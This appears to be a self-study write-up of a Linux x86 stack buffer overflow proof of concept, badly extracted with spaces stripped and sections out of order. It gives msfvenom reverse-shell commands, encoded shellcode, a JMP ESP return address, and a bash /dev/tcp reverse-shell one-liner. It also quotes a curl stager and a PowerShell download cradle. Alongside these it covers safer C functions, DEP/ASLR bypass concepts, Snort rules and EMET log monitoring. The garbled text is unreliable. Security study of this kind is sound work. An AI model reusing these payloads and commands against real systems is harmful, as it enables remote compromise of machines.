msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
